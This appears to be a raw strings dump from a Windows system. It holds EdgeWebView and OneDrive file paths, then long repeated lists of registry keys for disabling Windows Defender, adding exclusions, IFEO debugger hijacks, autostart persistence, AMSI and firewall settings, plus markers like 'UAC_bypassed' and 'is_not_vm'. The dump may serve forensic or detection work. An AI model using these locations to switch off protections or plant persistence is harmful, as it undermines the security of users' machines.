(x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\cs.pakdates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\es.pak010} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\es-419.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\cy.pak \Device\HarddiskVolume3\Windows\Prefetch\SECURITYHEALTHSYSTRAY.EXE-E527A4AE.pf Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\en-GB.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\eu.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\fil.pak Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\gu.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\gd.pak917} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\fa.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ga.pak \Device\HarddiskVolume3\Windows\System32\Windows.Storage.ApplicationData.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\fr.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\fi.pak917} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\et.pakf9d} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\gl.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\fr-CA.pak} \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwee \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryClient.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\is.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\id.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mip_core.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\hi.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\he.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\hr.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\it.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\concrt140.dlltory \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mip_core_gn.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\learning_tools.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.exe.sig \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_elf.dllewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.dll.sig \Program Files\WindowsApps\Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_wer.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ko.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\kk.pakdates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_proxy.exe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\lo.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\lt.pakdates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\kok.pakates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\kn.pakdates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\lb.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\km.pak.pf \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ka.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ja.pak \Program Files\WindowsApps\Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe\x64 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ne.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\nl.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\mi.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ml.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ms.pak \Device\HarddiskVolume3\Windows\System32\en-US\SecurityHealthAgent.dll.mui \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\onnxruntime.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\or.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\nn.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\nb.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\mr.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\pa.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\lv.pak9FA} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msvcp140.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\mt.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\mk.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sv.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\qu.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\pt-BR.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sr.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\th.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ta.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\pl.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sq.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\pt-PT.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\telclient.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sk.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ro.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vccorlib140.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\tr.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sl.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\tt.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ur.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\zh-TW.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vcruntime140_1.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\zh-CN.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\vi.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryClient.dll \Device\HarddiskVolume3\Windows\System32\Windows.Shell.ServiceHostBuilder.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy25d} \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryBroker.dll 9DB6D4~1.TM54a90a6f03ebde3ccd67c_1~9dc578729c} \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txtates \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy 4QEventDispatcherWin32_Internal_Widget140721469292752 Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\az.pak \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\af.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\as.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\am.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ar.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ca.pak "C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background \Users\job\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012026022120260222 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe "C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background :C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe HTTPS_~1.LEV com_0.indexeddb.leveldb Registry Machine SOFTWARE Microsoft Windows Defender DisableAntiSpyware DisableAntivirus EnableAuditMode ProductAppDataPath DisableRoutinelyTakingAction HybridModeEnabled PassiveMode SacEvalModeExpirationTime SacLearningModeSwitch SmartLockerMode VerifiedAndReputableTrustModeEnabled EXCLUSIONS Extensions Paths Processes Consumers REAL-TIME PROTECTION DisableBehaviorMonitoring DisableEarlyLaunchAntimalware DisableIntrusionPreventionSystem DisableIOAVProtection DisableOnAccessProtection DisableRealtimeMonitoring DisableScanOnRealtimeEnable DisableScriptScanning Features TamperProtection TamperProtectionSource TPExclusions SenseEnabled Troubleshooting TSDailyQuota TSExpirationTime TSSource TSState SpyNet SpyNetReporting SubmitSamplesConsent UX Configuration DisablePrivacyMode Notification_Suppress SuppressRebootNotification SuppressWdoNotification MpEngine DisableScriptScanning Reporting DisableEnhancedNotifications Scan DisableArchiveScanning Threats ThreatSeverityDefaultAction CoreService Device Control Miscellaneous Configuration Quarantine Remediation Signature Updates WCOS Windows Defender Exploit Guard windows nt currentversion EditionID ProductName UAC_bypassed terminal server install software microsoft windows currentversion runonce IMAGE FILE EXECUTION OPTIONS MPCMDRUN.EXE MPSIGSTUB.EXE MRT.EXE MSMPENG.EXE MSMPENGCP.EXE MSSECES.EXE DEBUGGER GlobalFlag UseFilter FilterFullPath VerifierDlls SVCHOST.exe APPCOMPATFLAGS CUSTOM SERVICES.EXE INSTALLEDSDB LAYERS LicensingDiag NOTIFICATIONS DATA Ports Schedule TaskCache Boot Logon Maintenance Plain Tasks Tree SilentProcessExit SYSTEMRESTORE DISABLESR WINLOGON Notify DLLNAME SpecialAccounts UserList WINDOWS CURRENTVERSION RUNONCE RUNONCEEX RUNSERVICES RUNSERVICESONCE Explorer SmartScreenEnabled ControlPanel NameSpace {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} Browser Helper Objects SharedTaskScheduler SHELLEXECUTEHOOKS ShellIconOverlayIdentifiers AppModelUnlock Component Based Servicing Features on Demand Removed FOD Markers Packages Control Panel CPLs PREAPPROVED Group Policy Objects Group Policy Scripts Shutdown Startup INTERNET SETTINGS AutoConfigURL CertificateRevocation EnableSPDY3_0 ProxyEnable PROXYSERVER USER AGENT PACKAGEDAPPXDEBUG POLICIES EXPLORER DISALLOWRUN SHELLSERVICEOBJECTDELAYLOAD Uninstall WindowsUpdate Auto Update Windows Error Reporting Disabled MICROSOFT ANTIMALWARE DisableAntiSpyware DisableAntivirus EXCLUSIONS REAL-TIME PROTECTION FEATURES ForcePassiveMode SpyNet SpyNetReporting SubmitSamplesConsent THREATS THREATIDDEFAULTACTION ThreatTypeDefaultAction MpEngineTest SigTest Monitored Blocked MonitoredDefault AMSI Providers {2781761E-28E0-4109-99FE-B9D127C57AFE} UacProviders {2781761E-28E0-4109-99FE-B9D127C57AFE} .NETFramework Active Setup Installed Components COMMAND PROCESSOR Cryptography Offload Providers Trust Seed Services ServiceName SystemCertificates Certificates UpgradeData Edge Extensions EnterpriseCertificates Certificates INTERNET EXPLORER APPROVED EXTENSIONS APPROVEDEXTENSIONSMIGRATION EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy EUPP EXTENSION COMPATIBILITY DLLNAME Extension Validation EXTENSION HOTICON ICON LOW RIGHTS ELEVATIONPOLICY Main Default_Page_URL NoProtectedModeBanner Secondary Start Pages Start Page TabProcGrowth FeatureControl MenuExt SearchScopes TabbedBrowsing NewTabPageShow Toolbar Netsh Office test Special Perf Office Outlook Forms TrustedFormScriptList Security PCHealth ErrorReporting REMOVALTOOLS GUID Security Center SQMClient CommonUploader SystemCertificates Certificates DllPath WBEM AmsiEnable Windows Defender Security Center Wow6432Node Microsoft Windows Defender DisableAntiSpyware DisableAntivirus EnableAuditMode ProductAppDataPath DisableRoutinelyTakingAction HybridModeEnabled PassiveMode SacEvalModeExpirationTime SacLearningModeSwitch SmartLockerMode VerifiedAndReputableTrustModeEnabled EXCLUSIONS Extensions Paths Processes Consumers REAL-TIME PROTECTION DisableBehaviorMonitoring DisableEarlyLaunchAntimalware DisableIntrusionPreventionSystem DisableIOAVProtection DisableOnAccessProtection DisableRealtimeMonitoring DisableScanOnRealtimeEnable DisableScriptScanning Features TamperProtection TamperProtectionSource TPExclusions SenseEnabled Troubleshooting TSDailyQuota TSExpirationTime TSSource TSState SpyNet SpyNetReporting SubmitSamplesConsent UX Configuration DisablePrivacyMode Notification_Suppress SuppressRebootNotification SuppressWdoNotification MpEngine DisableScriptScanning Reporting DisableEnhancedNotifications Scan DisableArchiveScanning Threats ThreatSeverityDefaultAction CoreService Device Control Miscellaneous Configuration Quarantine Remediation Signature Updates WCOS Windows Defender Exploit Guard windows nt currentversion EditionID ProductName UAC_bypassed terminal server install software microsoft windows currentversion runonce APPCOMPATFLAGS CUSTOM SERVICES.EXE INSTALLEDSDB LAYERS LicensingDiag NOTIFICATIONS DATA Schedule TaskCache Boot Logon Maintenance Plain Tasks Tree SilentProcessExit SYSTEMRESTORE DISABLESR WINLOGON Notify DLLNAME SpecialAccounts UserList WINDOWS CURRENTVERSION RUNONCE RUNONCEEX RUNSERVICES RUNSERVICESONCE Explorer SmartScreenEnabled ControlPanel NameSpace {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} Browser Helper Objects SharedTaskScheduler SHELLEXECUTEHOOKS ShellIconOverlayIdentifiers AppModelUnlock Component Based Servicing Features on Demand Removed FOD Markers Packages Control Panel CPLs PREAPPROVED INTERNET SETTINGS AutoConfigURL CertificateRevocation EnableSPDY3_0 ProxyEnable PROXYSERVER USER AGENT PACKAGEDAPPXDEBUG SHELLSERVICEOBJECTDELAYLOAD Uninstall WindowsUpdate Auto Update POLICIES EXPLORER Windows Error Reporting Disabled MICROSOFT ANTIMALWARE DisableAntiSpyware DisableAntivirus EXCLUSIONS REAL-TIME PROTECTION FEATURES ForcePassiveMode SpyNet SpyNetReporting SubmitSamplesConsent THREATS THREATIDDEFAULTACTION ThreatTypeDefaultAction MpEngineTest SigTest Monitored Blocked MonitoredDefault AMSI Providers {2781761E-28E0-4109-99FE-B9D127C57AFE} UacProviders {2781761E-28E0-4109-99FE-B9D127C57AFE} .NETFramework Active Setup Installed Components COMMAND PROCESSOR Cryptography Offload Providers Trust Seed UpgradeData Edge Extensions INTERNET EXPLORER APPROVED EXTENSIONS APPROVEDEXTENSIONSMIGRATION EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy EUPP EXTENSION COMPATIBILITY DLLNAME Extension Validation EXTENSION HOTICON ICON LOW RIGHTS ELEVATIONPOLICY Main Default_Page_URL NoProtectedModeBanner Secondary Start Pages Start Page TabProcGrowth FeatureControl MenuExt SearchScopes TabbedBrowsing NewTabPageShow Toolbar Netsh Office test Special Perf Office Outlook Forms TrustedFormScriptList Security PCHealth ErrorReporting REMOVALTOOLS GUID Security Center SQMClient CommonUploader DllPath WBEM AmsiEnable Windows Defender Security Center Wow6432Node MICROSOFT WINDOWS CURRENTVERSION RUNONCE RUNONCEEX RUNSERVICES RUNSERVICESONCE Explorer SharedTaskScheduler SHELLEXECUTEHOOKS ShellIconOverlayIdentifiers INTERNET SETTINGS AutoConfigURL EnableSPDY3_0 ProxyEnable PROXYSERVER POLICIES EXPLORER SHELLSERVICEOBJECTDELAYLOAD Uninstall AMSI Providers {2781761E-28E0-4109-99FE-B9D127C57AFE} UacProviders {2781761E-28E0-4109-99FE-B9D127C57AFE} Edge Extensions INTERNET EXPLORER EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy Extension Validation Office Outlook Forms TrustedFormScriptList Security windows nt currentversion terminal server install software microsoft windows currentversion runonce WINLOGON Google Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} Classes TypeLib {8C389764-F036-48F2-9AE2-88C260DCF43B} win32 win64 {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} ACTIVATABLECLASSES PACKAGE DEBUGINFORMATION DEBUGPATH DesktopBackground shell COMMAND Directory Background shell COMMAND DRIVE SHELLEX FOLDEREXTENSIONS EXEFILE SHELL OPEN COMMAND FOLDER SHELL OPEN COMMAND lnkfile Local Settings Software Microsoft Windows CurrentVersion AppContainer Storage MicrosoftEdge MSCFILE SHELL OPEN COMMAND Unknown Wow6432Node CLSID InprocServer32 TypeLib {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} AXSPH Google Chrome Extensions Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} Mozilla Firefox Extensions recfg System32 Configuration Policies is_not_vm Microsoft Windows Defender DisableRoutinelyTakingAction DisableAntiSpyware DisableAntiVirus DisableLocaladminMerge Features SenseEnabled MpEngine DisableScriptScanning MpContinueOnDetection MpForceDelayReporting POLICY MANAGER AllowArchiveScanning AllowBehaviorMonitoring AllowIOAVProtection AllowOnAccessProtection AllowRealtimeMonitoring AllowScriptScanning DisableEarlyLaunchAntimalware DisableEnhancedNotifications DisableIntrusionPreventionSystem DisableRoutinelyTakingAction Notification_Suppress SenseEnabled SuppressRebootNotification SuppressWdoNotification DisableLocalAdminMerge ExcludedExtensions ExcludedPaths ExcludedProcesses ThreatSeverityDefaultAction REAL-TIME PROTECTION DisableBehaviorMonitoring DisableEarlyLaunchAntimalware DisableIntrusionPreventionSystem DisableIOAVProtection DisableOnAccessProtection DisableRealtimeMonitoring DisableScanOnRealtimeEnable DisableScriptScanning Reporting DisableEnhancedNotifications Scan DisableArchiveScanning Threats ThreatSeverityDefaultAction THREATIDDEFAULTACTION ThreatTypeDefaultAction UX Configuration DisablePrivacyMode Notification_Suppress SuppressRebootNotification SuppressWdoNotification EXCLUSIONS Extensions Paths Processes Signature Updates Spynet Edge INTERNET EXPLORER MICROSOFT ANTIMALWARE EXCLUSIONS REAL-TIME PROTECTION THREATS THREATIDDEFAULTACTION office common security SystemCertificates Certificates Disallowed Certificates Windows Defender Security Center Windows NT Terminal Services Windows CurrentVersion Internet Settings Explorer SAFER CODEIDENTIFIERS PATHS SrpV2 SYSTEM EnableSmartScreen Scripts Shutdown Startup WindowsUpdate Chromium ExtensionInstallForcelist Google Chrome Update YandexBrowser CLASSES AppID {2781761E-28E2-4109-99FE-B9D127C57AFE} {A79DB36D-6218-48e6-9EC9-DCBA9A39BF0F} CLSID {2781761E-28E0-4109-99FE-B9D127C57AFE} {2781761E-28E2-4109-99FE-B9D127C57AFE} {A2D75874-6750-4931-94C1-C99D3BC9D0C7} {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} inprochandler32 InprocServer32 InprocServer LocalServer32 LocalServer ScriptletURL TreatAs TypeLib {19C65143-6230-42FA-A58E-7D9FA9BE2EB5} TypeLib {6D40A6F9-3D32-4FCB-8A86-BE992E03DC76} {754A73E3-B0A5-4305-A45A-428186716507} TypeLib {F2C4CDB0-2714-42AD-A948-2ED958A322E3} TypeLib Wow6432Node CLSID {2781761E-28E0-4109-99FE-B9D127C57AFE} {2781761E-28E2-4109-99FE-B9D127C57AFE} {A2D75874-6750-4931-94C1-C99D3BC9D0C7} {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} inprochandler32 InprocServer32 InprocServer LocalServer32 LocalServer ScriptletURL TreatAs TypeLib {19C65143-6230-42FA-A58E-7D9FA9BE2EB5} TypeLib {6D40A6F9-3D32-4FCB-8A86-BE992E03DC76} {754A73E3-B0A5-4305-A45A-428186716507} TypeLib {F2C4CDB0-2714-42AD-A948-2ED958A322E3} TypeLib Interface {04C6BE1E-1DB1-4058-AB7A-700CCCFBF254} TypeLib {1069B656-07F8-41D6-9B1C-6B1F43A8A4A1} TypeLib {178E5337-1528-4591-B1C9-1C6E484686D8} TypeLib {5C6FB596-4828-4ED5-B9DD-293DAD736FB5} TypeLib {B18E0B40-C089-4350-8328-066C668BCCC2} TypeLib {B81FF171-20F3-11D2-8DCC-00A0C9B00521} TypeLib {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4} TypeLib {D1047BC2-67C0-400C-A94C-E64446A67FBE} TypeLib {D189FF1A-E266-4F13-9637-4B9522279FFC} TypeLib {D5346658-B5FD-4353-9647-07AD4783D5A0} TypeLib {DDB34005-9BA3-4025-9554-F00A2DF5DBF5} TypeLib TypeLib {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} TypeLib {8C389764-F036-48F2-9AE2-88C260DCF43B} win32 win64 {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} ACTIVATABLECLASSES PACKAGE DEBUGINFORMATION DEBUGPATH DesktopBackground shell COMMAND Directory Background shell COMMAND DRIVE SHELLEX FOLDEREXTENSIONS EXEFILE SHELL OPEN COMMAND FOLDER SHELL OPEN COMMAND Interface {04C6BE1E-1DB1-4058-AB7A-700CCCFBF254} TypeLib {1069B656-07F8-41D6-9B1C-6B1F43A8A4A1} TypeLib {178E5337-1528-4591-B1C9-1C6E484686D8} TypeLib {5C6FB596-4828-4ED5-B9DD-293DAD736FB5} TypeLib {B18E0B40-C089-4350-8328-066C668BCCC2} TypeLib {B81FF171-20F3-11D2-8DCC-00A0C9B00521} TypeLib {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4} TypeLib {D1047BC2-67C0-400C-A94C-E64446A67FBE} TypeLib {D189FF1A-E266-4F13-9637-4B9522279FFC} TypeLib {D5346658-B5FD-4353-9647-07AD4783D5A0} TypeLib {DDB34005-9BA3-4025-9554-F00A2DF5DBF5} TypeLib lnkfile Local Settings Software Microsoft Windows CurrentVersion AppContainer Storage MicrosoftEdge MSCFILE SHELL OPEN COMMAND Unknown AXSPH CLIENTS STARTMENUINTERNET FIREFOX.EXE SHELL OPEN COMMAND GOOGLE CHROME SHELL OPEN COMMAND IEXPLORE.EXE SHELL OPEN COMMAND Google Chrome Extensions Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} Mozilla Firefox Extensions recfg System32 Configuration SYSTEM SERVICES MPBOOT MPFILTER MSMPSVC NISDRV NISSRV WDBOOT WDFILTER WINDEFEND MDCORESVC MDDLPSVC WDNISDRV WDNISSVC AllowedProcessName DELETEFLAG DeviceName DisplayName ErrorControl FailureActions Group IMAGEPATH ObjectName Start Type Instances Altitude NetworkProvider PARAMETERS SERVICEDLL SECURITY AppIDSvc START PARAMETERS Policy persistent filter certproc FHSVC START iphlpsvc Parameters ADHarvest LastFetchDomain Teredo remoteregistry RpcEptMapper Performance rpcnet rpcnetp SHAREDACCESS DEFAULTS FIREWALLPOLICY FIREWALLRULES PARAMETERS FIREWALLPOLICY DOMAINPROFILE ENABLEFIREWALL DynamicKeywords Addresses AutoResolve NonAutoResolve FIREWALLRULES RESTRICTEDSERVICES CONFIGURABLE SYSTEM STATIC SYSTEM STANDARDPROFILE ENABLEFIREWALL AUTHORIZEDAPPLICATIONS LIST SSHNAS PARAMETERS SERVICEDLL Tcpip6 Parameters Dhcpv6DNSServers Dhcpv6DomainSearchList NameServer Interfaces Dhcpv6DNSServers Dhcpv6DomainSearchList NameServer Tcpip Parameters DhcpNameServer Domain Hostname ICSDomain NameServer SearchList DNSRegisteredAdapters AdapterDomainName Hostname PrimaryDomainName Interfaces DefaultGateway DhcpDefaultGateway DhcpNameServer Domain NameServer W32Time TimeProviders DllName Enabled InputProvider WINSOCK2 PARAMETERS PROTOCOL_CATALOG9 CATALOG_ENTRIES64 CATALOG_ENTRIES WUAUSERV START xbgm Control Compatibility Driver MsSecCore.sys MsSecFlt.sys mssecwfp.sys WdBoot.sys WdDevFlt.sys WdFilter.sys WdNisDrv.sys ExtensionPolicy {a615f85e-5c0d-4cbd-8721-d86f859a4e8b} Config Autologger DefenderApiLogger DefenderAuditLogger EventLog-Security EventLog-System Security 0A002690-3839-4E3A-B3B6-96D8DF868D99 102AAB0A-9D9C-4887-A860-55DE33B96595 68621C25-DF8D-4A6B-AABC-19A22E296A7C 751EF305-6C6E-4FED-B847-02EF79D26AEF 8E92DEEF-5E17-413B-B927-59B2F06A3CFC CFEB0608-330E-4410-B00D-56D8DA9986E6 E4B70372-261F-4C54-8FA6-A5A7914D73DA 6B4012D0-22B6-464D-A553-20E9618403A1 6B4012D0-22B6-464D-A553-20E9618403A2 BackupRestore FilesNotToBackup BootVerificationProgram ImagePath\* CrashControl DeviceGuard Scenarios HypervisorEnforcedCodeIntegrity Enabled FileSystem GraphicsDrivers MemoryManager Authentication Packages MSV1_0 OSConfig Security Packages RunAsPPL Security Packages Print Environments Print Processors Providers SAFEBOOT ALTERNATESHELL MINIMAL NETWORK SecurityProviders WDigest ServiceControlManagerExtension Session Manager AppCertDlls Environment Kernel KnownDlls Terminal Server WinStations RDP-Tcp Windows ErrorMode Control Print Monitors Internet Communication Management Internet Communication Select Setup CmdLine SetupType SYSTEMPREFIX32 SECURITY Policy Accounts S-1-5-80-1523878533-411328482-2798077809-3098663872-2604013308 S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Secrets BCD00000000 Objects Elements User _Classes VirtualStore Machine Software Microsoft Windows Defender DisableAntiSpyware DisableAntivirus EnableAuditMode ProductAppDataPath DisableRoutinelyTakingAction HybridModeEnabled PassiveMode SacEvalModeExpirationTime SacLearningModeSwitch SmartLockerMode VerifiedAndReputableTrustModeEnabled EXCLUSIONS Extensions Paths Processes Consumers REAL-TIME PROTECTION DisableBehaviorMonitoring DisableEarlyLaunchAntimalware DisableIntrusionPreventionSystem DisableIOAVProtection DisableOnAccessProtection DisableRealtimeMonitoring DisableScanOnRealtimeEnable DisableScriptScanning Features TamperProtection TamperProtectionSource TPExclusions SenseEnabled Troubleshooting TSDailyQuota 